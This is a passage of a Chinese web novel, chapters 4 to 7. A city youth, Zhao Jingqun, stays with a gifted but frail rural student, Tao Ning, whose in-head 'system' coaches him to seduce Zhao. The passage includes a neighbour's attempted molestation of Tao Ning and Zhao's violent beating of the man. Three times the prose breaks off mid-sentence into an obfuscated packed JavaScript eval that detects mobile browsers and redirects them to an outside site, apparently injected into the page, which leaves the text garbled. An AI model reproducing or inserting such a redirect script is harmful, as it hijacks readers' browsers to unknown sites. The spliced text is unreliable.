赵静群打量这间只有六七米宽的房间,里面家具布局很简单,但有一个很大的书柜,上面摆满了整整齐齐的书,最令他惊讶的一点是。 这个房间,贴满了两面墙的奖状,足足有两面墙!奖状占据了二分之一的墙面,而且没留多少缝隙。 每张奖状上面几乎都是“三好学生陶柠”“数学之星陶柠”“物理之星陶柠”等等。 4. 第 4 章 饶是回到赵家后见多了人中龙凤的赵静群,也小小的惊了一下,“......你多大了?” 就算从幼儿园开始起算,两面墙的奖状,粗略算它两百多张,这土包子读十年书,每年两个学期,每个学期都能拿八.九张奖状。 陶柠在给他重新铺床,陶圆做事比较粗心,被套四个角是团在一起的,如果赵静群就这么睡一晚,第二天被子就变成超大号面团了。 他铺开被子:“十八。” 赵静群看他忙碌的背影,弯腰后不经意露出一截白皙的窄腰,他别开眼:“几月份的?” “四月。” 赵静群挑眉:“挺小,几岁读的书?”他挺好奇这土包子哪儿来那么多奖状的。 陶柠甩被子的手顿住,他回头,因为正午的原因,屋内没有开灯,以至于镜片后的眼睛显得不够清晰,但赵静群觉得从那双不够清晰的眼睛里看出了“你是不是很闲”的味道。 他笑容不变,又问了一遍:“几岁啊呆子?” 连称呼都变成呆子了。 系统点评:【他好欠揍。】 陶柠赞同:【嗯。】 但他还是听话的答了:“十一。” 那时候陶家穷到要揭不开锅,三个姐姐都没有读书,即使是唯一的养子陶柠也没有,若不是当年陶圆说什么都要把他带出去,陶柠估计现在还是个文盲。 这时候,系统忽然没头没尾说了句:【你不会变成文盲。】 陶柠问:【为什么?】 但一向话多的系统不回应了,反倒是赵静群愣了一下:“十一岁?......你现在高几?” 陶柠说:“下学期高三。” 赵静群微蹙眉:“......你七年就读完了十二年的书?”合着是每年十五六张奖状。 陶柠把他的被子给铺好了,闻言点了点头,向角落里指了下,“那个柜子没人用,你可以放行李。” 赵静群收回目光,顺着他指的方向看过去。 靠近角落里有个柜子,只有一层,深红色油漆包浆,四个角已经破损,露出里面泛黑的木头,很矮,大概只到他大腿的位置。 与之相对的是它旁边另一个柜子,有上下两层,白色包漆,看起来比较新。 赵静群挑了下眉,不由分说就把行李箱提到白色柜子前,直接拉开了。 刚一打开,淡淡的柠檬香瞬间扑面而来,衣柜里的衣服没有多少,几乎都是很规矩的衬衫和长裤,有些洗到发白了,和陶柠现在身上穿的差不多,只是下身穿的是短裤。 赵静群的目光凝在几块很小的布料上。 布料只有一点,多数是白色的,很白,和少年的肌肤一样白。 过了几秒,赵静群脸上的笑意消失了,还有些微沉,他“砰”的一声把柜门关上,耳尖有一点红。 他依旧没说话,而是把行李拖回破旧的红柜子前,拉开行李箱把衣服一件一件放了进去。 只是放到一半,里面传出一股略微潮湿的气味,很像草料放久生潮腐烂了。 赵静群关上柜门,看向已经坐在书桌上不知道在看什么书的陶柠:“这柜子原来是放什么的?” 陶柠头也没抬,“猪饲料。” 赵静群:“......” 他放进去的每件衣物都千元起步,赵静群被这呆子气得笑了一下。 外面阳光充足,屋子内的书桌是靠近窗户的,窗户外种有樟树,阳光跳在约莫巴掌大小的树叶上,又跳下来,掉入少年正在看的书里。 另一部分,则轻柔地贴在少年侧脸上。 他脊背微弯,垂着头,五官在渐淡的日光下模糊,细碎的刘海挽留了一点光,变成星星点点的圆圈与书上的文字融合——《绝望直男爱上甜心小gay》。 “女追男,隔层纱,但男追男,则隔层肉,所以当你是个可爱的gay,不幸爱上了一个直男,请不要绝望也不要喝中药调理。” 书翻了一页: “你现在做的第一步,就是随时随地朝他暗送秋波,再无时不刻向他露出圆润的屁股。” “记住,暗送秋波的时候要穿超短裤,让他产生‘你是不是喜欢他’的怀疑,等他憋不住来问你的时候,你就要作出不可思议和无辜的表情说怎么会呀,哥哥......” 赵静群盯着少年的侧脸入神,片刻,他像是惊醒一般移开了视线。可过了一会儿,不远处的少年依旧没有动静,甚至白皙的脸颊微微泛红。 看什么书看这么入神?太阳也没直射他,这呆子脸红什么? 赵静群眉头微挑,放缓脚步走了过去。 系统及时提醒:【呆瓜呆瓜!他过来了,快把我给你的秘籍收起来!】 以往陶柠会问一句为什么,可在他连续看了几本《引爆全网的诱惑小0》《霸道校草带球跑》以及《倒霉直男被盯上》等系统推荐的秘籍内容后,他觉得这样的书可能不方便分享。 而且这也和他的任务有关,还是不要让人知道好了。 所以在身后的人到来的一瞬间,陶柠急忙用数学册盖住了有两个男人接吻的“秘籍”扉页,然后拿起笔开始做数学题。 陶柠自以为遮的很快,但走路更快的赵静群早把他一系列动作收进眼底了,何况少年脸颊上的余热也没有消散。 没等赵静群开口,陶柠就先问了:“怎、怎么了?” 他垂着眼没有直视男人,问的话也有些磕绊,一点儿也没有刚才说“猪饲料”的理直气壮,因此赵静群越发好奇他到底在看什么书了。 但看这呆瓜脸皮薄的样子,他要问肯定是问不出来什么,只能自己主动去找,这个过程需要有耐心,也不能打草惊蛇。 他笑了笑,面色如常问:“这儿洗澡的地呢?我累了一上午,你个做东的不带我去洗洗?” 沙沙——哗啦 纸上的笔尖停顿,陶柠侧过头,认真看了双手插兜、站的有些歪扭的男人几秒,似乎在看他是不是真的有这个需求。 片刻,陶柠点了点头站起来:“我带你去。” 赵静群跟着陶柠出门了,关上门的那一刻,他回头往书桌方向看了一眼。 两人一路绕到了屋子后面,靠近正堂后墙的地方,左边是个用篱笆围起来的鸡圈和鸭圈,右边则是一个用塑料搭建起来的棚子。 有只公鸡朝打扰它求偶的两人表达不满:“咯咯哒、咯咯哒。”,翅膀一阵扑腾,掀起鸡窝里的干稻草,经过炎热的夏风一吹,浓烈的鸡屎味砸向两人。 结果两人都面不改色,也没有搭理这只被母鸡赶出去的公鸡. 陶柠伸出一根纤细的手指,指着用白色塑料层层包围的棚子。 “在那里洗,你要自己带衣服过去。” “热水呢?” “里面有太阳能。” 赵静群嗤笑了一声:“还挺先进。” 陶柠没接话,以为给他带路的任务完成了,打算走,不料赵静群不放过他,说:“你先洗。” 陶柠拒绝了:“我晚上才洗。” 山里人没有白天洗澡的习惯,因为白天会干一天活,只有等晚上回来才洗澡,也有人过于劳累,干脆澡也不洗就上床了。 陶柠等会儿还要赶路去给别人补课,所以洗不了。 赵静群虽是笑着的,却不依不挠,数颗耳钉在阳光下闪着银光,“我怕冷,你先把里面洗热了,我再进去。” 陶柠出来没多久就被太阳晒得有些晕,男人说他“怕冷”,他有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859526|175949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些不信。 正想拒绝,系统发出怪叫:【呆瓜,快答应他,根据我秘籍传授的经验,他这是想偷看你洗澡呢,你等会给他搞个湿.身.诱.惑,让他欲罢不能!】 陶柠:【......】 他并不觉得那些秘籍说的是对的,而且这不在任务范围之内,所以他依旧想也没想拒绝了:“我不洗,等会小檬过来洗澡,你可以等他洗热了。” 说完,陶柠头也不回走了,徒留赵静群一个人站在太阳底下,笑容逐渐消失。 过了片刻,赵静群踢了块石头砸进鸡圈,然后伴随着公鸡愤怒的“咯咯哒”回了房间。 进去的时候屋内却没有人,赵静群不由得皱了下眉,大中午的去哪儿了? 余光瞥到书桌,赵静群一眼就看到那本数学题测下的书籍,他毫不犹豫走了过去。 就在手要触及到少年的秘密时,一阵微风吹了进来,玻璃窗动了一下,发出嘎吱声。 那一瞬间,也好似有一盆冷水直直的从头上泼下来,将男人所有的好奇心给浇灭了。 赵静群猛地缩回手,脸色忽然变得极为难看,他在原地站了几秒,脚步一转,没有再靠近书桌前了。 他坐在床上,眉头微皱,又开始打量起这个房间,发现自己即将睡的地方离少年的床非常近。 近到晚上睡觉的时候,他如果不小心多翻了几个身,就可以和少年面对面而眠。 “......” 赵静群从衣服口袋里掏了根烟点上,也没管是不是在室内或者室外,自顾自地抽了起来。 没抽几秒就叼着烟起身,来到少年说装过猪饲料的红漆柜前,像来时那样一件一件又把衣服拿出来,装回行李箱里。 等他拉着行李箱出门,却撞见了过来送水果的陶圆,“静群啊,这是去哪儿啊?” 看到他嘴里的烟,陶圆忍不住说:“柠柠他身体不好,一闻到烟味就咳嗽,静群得麻烦你下次不要在他面前抽,最好是不抽!那个臭小子毛病多嘴巴也爱唠叨,我是一点儿也不敢把烟拿出来,静群你年纪也不大吧,年轻人还是要少抽烟......” 赵静群就这样在原地等着她讲完。 陶圆一边念叨一边把新鲜的橘子放到书桌上,转过头时又问了一遍:“哎,静群啊,你说你要去哪里来着?” 根本没有回答过的赵静群说:“去洗澡。” 陶圆诧异:“那你带个行李箱过去做什么?静群啊,你别看我们这条件简陋,洗澡就一个塑料棚,但里面啥东西都有,不比你们城里差,你只管把衣服带进去就好。是不是柠柠没带你进去看过,那臭小子,一到外人面前就跟个木头似的,放着客人也不管就出去了,等会儿他回来我好好说他一顿......” 赵静群把烟给掐灭了,“他去哪儿了?” 陶圆说:“这个点儿应该在麻子家补课去了,等会就回来了。静群啊,我去给你把太阳能打开。” 赵静群看着她离开,在原地站了一会儿,脸色逐渐阴沉,踢了一下行李箱才转身进屋。 太阳逐渐西斜,下午五点左右,赵静群擦着头发出来,厨房已经传来饭菜香了,陶圆边双手擦着围裙边嘟囔着:“柠柠怎么还没回来?” 赵静群擦头发的手一顿:“没有手机?” 陶圆叹了口气,语气既心疼又欣慰:“给他买又不要,说用不上......”说到后面,不知是想起什么,她声音放低,眼睛里透出担忧。 赵静群把毛巾搭在用竹子做的晾衣架上,说:“我去找他。” 陶圆用的是四五百块的智能手机,加了他的号码后,说了个地址。 赵静群认得路,记在心里后往大门走去,打开门,门板发出“嘎吱”一声—— 5. 第 5 章 嘎吱一声。 陶柠打开门,忽然,一只黝黑的手抓住了他的胳膊,身后贴上来一个矮瘦男人,吐着带蒜味的气息:“柠娃子,今天叔送你回去。” 陶柠愣住,回过头,看到一张长满麻子的脸。 这是他今天补课家里的人,外号张麻子,十多年前的时候死了老婆,常年在外面鬼混,前不久才回来。 系统愤怒:【呆瓜快甩开他,这猥琐男在占你便宜!】 它的宿主呆头呆脑,对男人的触碰很迟钝,容易被人占便宜,但它看得一清二楚,这麻子男抓住少年瘦弱的胳膊后,就用指缝里满是污垢的手摩挲他的肌肤。 系统看得一阵反胃。 陶柠反应过来,用力挣脱了张麻子的桎梏,肌肤上留下了一片红痕。 张麻子眼睛都看直了,两年前,他无意间看到过陶柠摘下眼镜的样子,那小脸和身段,就和天仙差不多。 他这辈子从来没见过那么漂亮的人,也不管是男是女了,当时他就记心里了,只是那时候陶圆那母老虎在旁边,他不敢凑过去。 他昨天才回来,没想到这柠娃子碰巧给自家的兔崽子补课,这简直就是送上门的肥肉啊。 张麻子咽了下口水,搓了搓手,装模作样给陶柠推开门,“走走走,不要跟叔见外,叔知道有条路离你家近,叔送你回去。” 陶柠垂下眼,他知道以自己的力气,拒绝是没有用的,于是默不作声跟着张麻子出去了。 但他一出去,就在原地不动也不说话,张麻子想去拉他手,也被陶柠躲开了。 山里人住户之间隔得很远,人也稀疏,一旦跟着人上了路,再想逃跑就很难了。 而张麻子家住的偏,陶柠不会和他走所谓的近路。张麻子见天没有很黑,不敢明目张胆做些什么,只能依着他原路回家。 山中多树,多林。 黄昏降临后,日落经过树叶的筛选,一点一点变成了暗淡的光线,蟾蜍和猫头鹰四处鸣叫,衬得一眼望不到头的山路愈发诡异幽森。 赵静群从张麻子家里出来,却得知陶柠刚走,忍不住皱起眉。 他是按陶圆给的路线走的,那呆子应该不会绕其他路,为什么没有碰上? 赵静群又给陶圆发了条短信确定路线,按照原路返回。 渐黑的山路,地上的树枝踩上后嘎吱嘎吱作响,越往回走,不知为什么,赵静群心情越发烦躁。 那呆子土是土,却玩新鲜花样当同性恋,他不喜欢但也提不上讨厌,只是不想让那呆子把主意打在自己身上,所以他中午应该提着行李箱就走了,可偏偏又鬼使神差没走成,现在还出来找那个呆子。 赵静群觉得不能再这么下去,打算今天找到陶柠后,明天天亮就走,直接坐车回去,也不想再陪家里的老爷子玩什么兄妹情深的把戏了。 路走到一半,忽然,旁边的树林传来窸窸窣窣的动静,还伴随着一阵怒喝声:“兔崽子,让老子摸几下又不会少你块肉,你还敢拿石头砸老子?!” 随即是一个细弱而熟悉的声音,“放开我......” 赵静群眉头微皱,迅速朝声音来源的方向赶去。 另一边树林深处,系统正给陶柠打气:【呆瓜!砸死这猥琐男!.....哎哎哎,你注意脚下,别摔着了.......哎!】 林子里的石头和枯枝败叶过多,陶柠边躲避张麻子边往家跑。 因为慌乱,陶柠没有注意到脚下有块石头,一不小心摔在了地上,幸好他摔的地方较为平坦,只有树叶。 即便如此,陶柠的膝盖也瞬间青紫了,伤痕在雪白的肌肤上格外刺眼,剧烈的疼痛令他瞬间失去了思考的能力。 他小声喘息着,额头上痛到冒出冷汗,身体已经动弹不了了。 陶柠回过头,张麻子那张狰狞的脸已经凑了过来,“妈的,老子看你还能跑到哪儿去......” 他双目发出迫不及待的油光,就在那只黝黑的手要碰到陶柠的脸时,一股巨力猛地朝他侧后背袭去。 咔嚓一声,骨头断裂的声音和张麻子痛苦的尖叫响彻整片树林。 “啊——!!” 张麻子痛苦地跌倒在地,顿时像只被摔死的虫子般蜷缩起身体,嘴里却不停骂骂咧咧,“谁啊?!他妈的谁敢踹......” 话还没落下,身体当即又被猛地踹倒在地,这次他连蜷缩都无法蜷缩,因为胸口被一只脚死死踩住。 张麻子尖叫着,睁开痛到眯起的眼睛,顿时与一双冷若寒冰的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859527|175949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛对上,男人居高临下,唇角是勾起的,但眼神里却充满了暴虐和冷漠。 赵静群淡笑着开口:“手脚不老实就剁了。” “你、你......” 瞬间,张麻子感到了发自内心的恐惧,刚要求饶,男人已经把他单手拎了起来,然后一拳头砸了上去,接着是一拳比一拳猛烈的拳头砸在了张麻子身上。 没过多久,地上的张麻子从杀猪般的尖叫到只能发出气若游丝的声音,男人却没有停手。 他浑身上下散发出暴虐、阴鸷的气息,令人恐惧到不敢接近。 直到见了血,身后的少年急切道:“赵静群,别打了......” 这是少年第一次叫男人的名字,声音很小,甚至可以用软糯形容,却仿佛化作了无形的锁链,瞬间栓在了男人脖子上,硬生生拉回了处于暴怒边缘的男人的理智。 赵静群踹人的动作一顿,还想再给地上的人来两下时,又听见身后的少年低声道:“我疼。” 声音软到有些发抖,男人没有转身,而是身体有些僵硬。 他轻呼出一口气,挑了下眉,不紧不慢掏出一个钱包,从里面拿出一沓钞票,然后扔在了张麻子已经面目全非的脸上。 赵静群弯腰,脸上依旧带着笑,却用仅有两人能听到的声音冷声道:“下次再让我看见你对他动手动脚,我就宰了你,知道么?” 张麻子闻声全身颤抖,用最后一丝力气使劲点头,眼底满是对这个一直微笑的男人的恐惧。 赵静群这才满意,他站起身,回头却发现少年正扶着枯树,脸上冷汗津津,小口小口喘着气,看模样似乎极为疼痛。 即使光线已经很暗了,他仍旧一眼看到了少年膝盖上的青紫,大片的淤青和淤血聚集在雪白的肌肤上,很不正常的摔伤。 因为普通人要在几个小时后才能形成如此骇人的伤痕,但少年却用了短短几分钟不到。 想起陶圆和那个书记说少年身体不好,赵静群心下一沉,急忙走过去,想扶住他。 靠近后却闻到了很清甜的柠檬味,且这次比以往更要强烈,于是伸出去一半的手又缩了回去。 赵静群干脆转身蹲下去,露出宽阔紧实的肩膀,喉间发出低沉的嗓音,“过来。” 6. 第 6 章 赵静群在原地蹲了一会儿,身后的人才一步一步靠近,最先伸过来的,是少年细腻滑嫩的双手,慢慢地勾住了他的脖子。 肌肤相贴的那一刹那,赵静群浑身变得僵硬,脑子也一片空白。 紧接着,后背贴上来一个温热的身体,软到不可思议,也非常轻,还伴随着一股甜腻的柠檬香与不知名的体香。 赵静群屏住呼吸,心跳不知为什么徒然变快,脑子也仿佛生了锈,迟钝到只有一个想法:这呆子用得什么沐浴露? 他感觉呼吸也有些困难,下午洗澡的时候,他特意看了眼沐浴露牌子,是很普通也很大众的品牌。 为什么放到这呆子身上就那么香? 等他回过神,身后的人已经虚虚地趴在他身上了,还很小声地说了一句:“我好了......谢谢你。” 赵静群呼出一口气,掐灭脑子里乱七八糟的想法,然后双手托住少年的大腿根部,五指陷入软肉里,猛地站了起来。 陶柠第一次被人背着走,正新奇地往四周看,而男人身量很高,趴上去后突然站起来,视野一下就变得开阔。 但也因为这突如其来的动作,陶柠怕摔下去,条件反射搂紧了些。 没想到背着他的男人原地掂了他一下,警告道:“别乱动。”声音比刚才多了几分沙哑。 于是陶柠乖巧地趴在他背上,不敢乱动了,他听见身下的人呼吸逐渐变重,在已经不剩多少光线的密林里,显得格外清晰。 男人似乎也意识到自己的反常,片刻后,他呼吸放缓,恢复平静,因此这片深林,只剩下斑驳的树影和无数虫鸣鸟叫。 枯枝与碎石随着男人走过发出嘎吱声,四周杂乱的树枝缓慢向后移动,很淡的光线洒下来,地上歪歪扭扭地映出两个紧密相贴的影子。 经过一天的劳累和惊吓,陶柠的精神和身体已经到了极限,他昏昏欲睡,很快趴在男人身上睡着了。 赵静群发觉背上的人发出了浅浅的呼吸,甜腻的气味不停地在他耳廓上喷洒着,令他忍不住失神,掌心因为与少年的软肉相贴,温度升高到几乎要灼烧的地步。 他看着仿佛没有尽头的山路,幽暗可怖,却体会到了从未体会过的平静与安宁。 黑夜悄无声息降临,月亮升了起来,陶柠被人喊醒的时候还有些发懵。 “呆子,到你家了。”身下的人低声唤他。 陶柠懵懵地揉了揉眼睛,嘴里含糊不清说:“我不是呆子,我很厉害的......” 背着他的男人哼笑了一声,“是,厉害到有家差点回不来。” 听到这声音,陶柠才后知后觉清醒过来,脸颊瞬间红透了,支支吾吾说:“对、对不起,给你添麻烦了......”又想起他扔在张麻子脸上的那沓钱,说话的声音更小更软了,“你......给了他多少钱,我会慢慢还给你。” 赵静群把他放下来,见少年还能站立,就跟他拉开了距离。 说不清楚是什么原因,他不愿意和陶柠有过多接触,但现在借住在他家里,必要的接触是没办法的事。 想了一下,过几天就要离开了,这呆子想还钱就还吧。 陶柠没有察觉到男人忽然冷淡的神色,连笑也没有了,只是说了句:“三四千。” 听到这个数字,少年脸上明显露出为难的神色,不自觉咬起红润的下唇,发出“哦”的气音。 赵静群看了一会儿,不知为什么心情又好了点,还想再多看两眼时,远处突然扫过来两道光线。 “柠柠!静群!是你们吗?快回家吃饭!” 然后是一阵小碎步声,“舅舅!舅舅!” 赵静群迅速收回视线,恢复成漫不经心的样子。 小檬跑过来,刚想往陶柠身上扑,一下子看到他膝盖上刺目的淤青,顿时恐慌地叫起来:“妈妈!舅舅受伤了!” 紧接着,远处传来一阵急急忙忙的脚步声,陶圆拿着手电筒出现,她扫到少年身上的伤,吓得手电筒差点都拿不稳,“柠柠你咋回事?怎么出去一趟就搞成这个样子回来了?啊?跟姐说,是谁欺负你了……” “没有,我自己摔的。” “你这孩子!给你买的眼镜又没有度数,咋真成近视了?是不是晚上没听我话偷偷做作业去了,你成心想让姐担心不是……” 赵静群站在一旁,看陶圆脸上的急切,李小檬嘟起嘴要哭不哭的模样,还有少年垂着头一副知错的样子。 分明是吵闹到让人耳朵疼的画面,偏偏心底久未消散的暴虐忽然被缓慢抚平了。 他盯了陶柠膝盖上的红肿几秒,拿出手机,低头发了条消息。 陶圆信了陶柠说不小心摔伤的话,确切的来说,她从不怀疑陶柠说的每一句话。 她赶紧扶着陶柠进屋,也不忘招呼赵静群:“静群啊,我先送柠柠回屋,我让小檬带你去吃饭。” 赵静群当然不用一个小屁孩带他去吃饭的地方,而且这小屁孩明显不欢迎他,对他抱有很大的敌意,他自己在饭桌上随便吃了点。 陶圆把陶柠送到房间后,又给他端了饭过来,趁着陶柠小口吃饭时,开始数落他:“你说你这臭小子,怎么回来就弄了一身伤?看着那么吓人,我心脏都要被你吓出来了!明天我去老韩家带点药回来,这伤这么严重,明天咱不去做那个什么向导了……” 陶柠咽了口饭,“不疼了,可以去的。” 陶圆不满了:“你这臭小子……” 接着又开始一顿数落,说着说着,刚才还低眉顺眼的少年忽然低声笑了一下,笑声不大,陶圆却瞬间怒了:“说你你还敢笑了?” 陶柠连忙认错:“不、不是。” 是因为刚才系统在他脑海里放了一张照片,照片上是赵静群背着他回家的模样。 结果系统贼兮兮问:【呆瓜,你看这张照片我拍得好不?像不像你们人类那个‘猪八戒背媳妇儿’的样子?】 赵静群身材高大,衣服下全是紧实的肌肉,把陶柠匀称颀长的身形衬得小了许多。 而系统只拍出来两个模糊的影子,又高又结实的影子上趴着一个纤细的身影。 陶柠从小到大几乎没有拍过照片,本来是有些害羞的,听系统这么一说,越看越像,一想到赵静群那张脸换成猪八戒还染了一头红发的样子,没忍住笑出声了。 于是陶柠又被陶圆数落了一顿,他没有看见,赵静群就站在门外,默不作声看他撇着嘴,又忽然笑起来。 这是他第一次见少年露出笑容,即使戴着那副又土又厚重的黑框眼镜,他浅浅地勾起嘴角,刹那间,昏黄的屋内仿佛都因少年的笑容明亮。 原来这呆子不低着头小心翼翼的时候,挺好看。 他的目光停在少年嘴角的笑容上许久,直到笑容消失,才有些僵硬地移开了视线。 陶柠恰好瞥到赵静群离开,却没有想缘由,开始苦恼自己欠了那么一大笔债,得补多少课才能还得起。 吃完饭后,膝盖还是很疼,但没有最开始那种钻心的疼痛了。 陶圆之前带他去医院检查过,那时他给家里收柠檬,不小心划伤了手,一个细小的伤口却足足流了一大滩血,把陶圆吓得差点晕过去,连夜带他赶去了县城医院。 检查结果出来,医生说他凝血功能有问题,只是他们这种偏僻落后的县城医院检查不出什么。 医生叫他们去大城市再检查一遍,陶柠觉得自己能跑能跳,只要不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859528|175949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血就好了,于是不肯去了。 陶圆拗不过他,她知道自己这个弟弟,外表看起来低眉顺眼好欺负,可一旦决定下来得事情,十头牛都拉不回来,就是一个犟种。 见他确实没有大碍,索性就由着他去了,只是从那以后,陶圆就不让陶柠放学回来帮家里干活了,而是叫他安心学习。 陶柠默不作声跟着去了几次,都被陶圆骂回去了,后来他就去给别人补课,希望赚点钱补贴家用。 只是两三年过去了,除去补贴家用的钱,他身上最多只有一千元。 这要补多少课才能还回去?陶柠有些小郁闷,他马上要去城里了,攻略完以后,还会和赵静群再见面吗? 陶柠慢慢挪动脚步去拿洗澡工具,不大的少年此刻装满了心事,等慢吞吞洗完澡后,他一出塑料棚,就撞见了正靠在门口抽烟的赵静群。 屋内斜映出橘色调的暖光,与白色烟雾相互交缠缭绕,陶柠咳了一下,烟雾就断了。 接着,是男人低沉而冷冽的嗓音:“你穿的什么衣服?”语气有些冲,似乎颇为嫌弃。 陶柠愣了一下,低头看自己穿的衣服,就是夏天正常的睡衣,短袖短裤,怎么了? 他抬起头,却与赵静群冷淡的目光对上,烟已经被掐灭了,烟蒂扔在了水泥地上,男人用脚碾了几下,然后没等他回答就进屋了。 陶柠有些困惑,明明白天还是会笑的,怎么救了他以后就再也没笑过了?是因为自己欠了他钱吗? 陶柠是个喜欢追求答案的好学生,于是虚心向系统请教:【系统,你在吗?】 脑海里响起了‘别看我只是一只羊’的声响,接着是嘎吱嘎吱嗑瓜子的声音,片刻,系统才终于说话:【怎么了呆瓜?】 陶柠实话实说:【我好像把任务搞砸了。】 系统惊了,脑海里响起瓜子掉一地的声音:【怎么回事?我就去看个动画片的功夫,你就把任务搞砸了??不对啊,我就发过两次任务,你不是都好好完成了吗?】 陶柠说:【不是那两个任务,我是觉得.....觉得赵静群有点讨厌我,他以后说爱我的难度可能会很高。】 系统砸吧嘴:【不可能,我们都看了那么多秘籍了,他怎么会讨厌你?肯定是我们没有实践的原因,《诱.惑的甜美小gay》上说,要主动,这样吧,我给你支个招。你俩的床挨得很近,今晚你偷摸钻他被窝去。】 陶柠脸红了:【这、这样不好。】 系统劝他:【我比你有经验,你就放心听我的。】 陶柠似懂非懂点了点头:【好吧......】 进屋后,陶柠才发现赵静群已经在床上了,正低着头刷手机,听到他进来的动静也没看他一眼,脸上也没有笑。 看来得及时还钱了,陶柠这样想着,也钻进了被窝。他睡觉的姿势很板正,也不乱动,是正面仰躺着的,可以保持这样的姿势睡一晚上。 没过多久,伴随着外面的虫鸣,床上传出均匀的呼吸声。 另一边床上,赵静群拿着没有启动任何程序的手机,他已经盯了主屏很久了,一直等到身旁的人睡着,有些绷紧的身体才逐渐放松。 过了一会儿,他给人发了条消息:【再带几条薄长裤】 他又瞥了身旁的人一眼。 【加上睡衣,身高170】 对面回了条:【OK,静哥,还要其他的吗?】 赵静群没回了,关上手机,合上眼,不料一闭上,脑子里就浮现出不久前少年脸上没有戴眼镜,额前湿润的刘海全部梳到后方的模样。 只看了一眼,赵静群手上的烟差点掉了,他也在那时候才明白,为什么陶圆要给这呆子买没有度数的眼镜。 7. 第 7 章 外面的虫鸣鸟叫没有停过,赵静群脑子里也全是少年的模样没有消失过,有垂着头的、撇嘴的、微笑的等等。 而一分钟过去,两分钟、半小时、一小时,两小时...... 到了最后,赵静群低声“操”了一句,觉得今晚这觉是没法睡了。 正想去外面抽根烟冷静冷静,旁边的人忽然动了,他立刻忍着心烦意乱闭上眼。 过了一会儿,伴随着窸窸窣窣的声音,熟悉的柠檬香钻入鼻尖,赵静群的心脏也随着愈发浓烈的柠檬香开始剧烈跳动。 ......这呆子想干什么? 鼻尖甜腻的香味浓烈到几乎要喘不过气来,就在赵静群要无法呼吸时,身旁的被子忽然被掀开,然后钻进来一个温热柔软的身体。 那一瞬间,赵静群差点想跳起来,但又硬生生忍住了。 直到他感觉温香软玉越来越近,近到要与他贴近时,他终于忍不住屏住呼吸。 最后,赵静群睁开了眼,借着暗淡的月光,看到了晚上那张令人魂牵梦萦的脸。 少年巴掌大的脸上是精致到仿佛女娲亲自雕琢的五官,眉眼如画,唇红齿白,如蝶翼的长睫微微抖动着。 近距离看,少年的发色原来是深棕色的,且带有天生的自然卷,闭眼睡着的模样好似一个不是真人的洋娃娃。 美丽与漂亮到无法用言语形容。 赵静群心脏砰砰直跳,他的视线一路细细地从少年如画的眉眼到达精致高挺的鼻梁......最后到少年因为睡觉而微微张嘴露出来的舌尖。 舌尖是粉嫩湿润的,像咬开的草莓尖,如果被轻轻咬一口,就会流出很多粘稠的汁水,那再往里面舔一点,会有什么? 赵静群被自己有些不正常的想法弄得呼吸粗重,他闭了闭眼,深吸一口气,把身旁毫无察觉的少年给推醒了。 “醒醒,陶柠。”声音低沉沙哑。 陶柠已经睡着了,刚才被系统忽然叫醒本来有了点起床气,迷迷糊糊钻过去完成任务后又迅速熟睡了,结果现在又被人喊醒。 他不满地撅起红润饱满的唇,无意识伸出手,拍了拍身旁的人,嘟囔着:“别闹了.....” 赵静群只是轻微被少年这么一拍,瞬间像被烫到般直起身,他坐在床上平复好情绪后,又低声骂了一句。 无可奈何,他轻手轻脚出门了,方向是洗澡棚的位置。 深夜一直到天亮,陶家后院响起好几次冷水冲洗的声音,鸡圈鸭圈也因此吵个不停。 第二天早上,陶柠打着哈欠起来,膝盖上的淤青颜色更深了,自己却还是在原来的床上,不禁有些困惑。 他记得昨天晚上迷迷糊糊已经钻到赵静群的被窝去了,怎么还在自己床上? 陶柠问系统:【系统,我昨天晚上....】即使是在脑袋里问,依旧会感到害羞,【钻、钻他被窝了吗?】 片刻,脑海里响起系统打哈欠的声音:【钻进去了啊,咦,你怎么又回自己床上了?我记得昨晚把你喊醒了才去睡的。】 听到这话,陶柠的注意力跑偏了,呆呆地问:【你们系统也要睡觉吗?】 系统怒了:【我们人工智能.....咳咳,没想到你是这样的呆瓜,还没工作呢,就已经学那些周扒皮老板要员工996了,啊不,让我晚上不睡觉加班,比那些996还过分。】 【哼!不理你了!】 陶柠:“......” 他小声道歉:“我错了,你别生气......” 话还没说完,身后就响起一个冷淡的声音,“陶柠,吃饭。”连名带姓的叫少年,似乎预示着声音的主人心情不太好。 陶柠转过身,就和一双下眼皮带着乌黑的眼睛对上,那双眼睛看起来极为疲倦。 而两道视线在半空中交汇,仅仅几秒,后者就移开了目光。 男人的目光似乎又在陶柠膝盖上的淤青停留了几秒,又好似是错觉。 陶柠还没看清,赵静群便转身离开了,独留他在原地困惑,怎么感觉.....他更讨厌自己了? 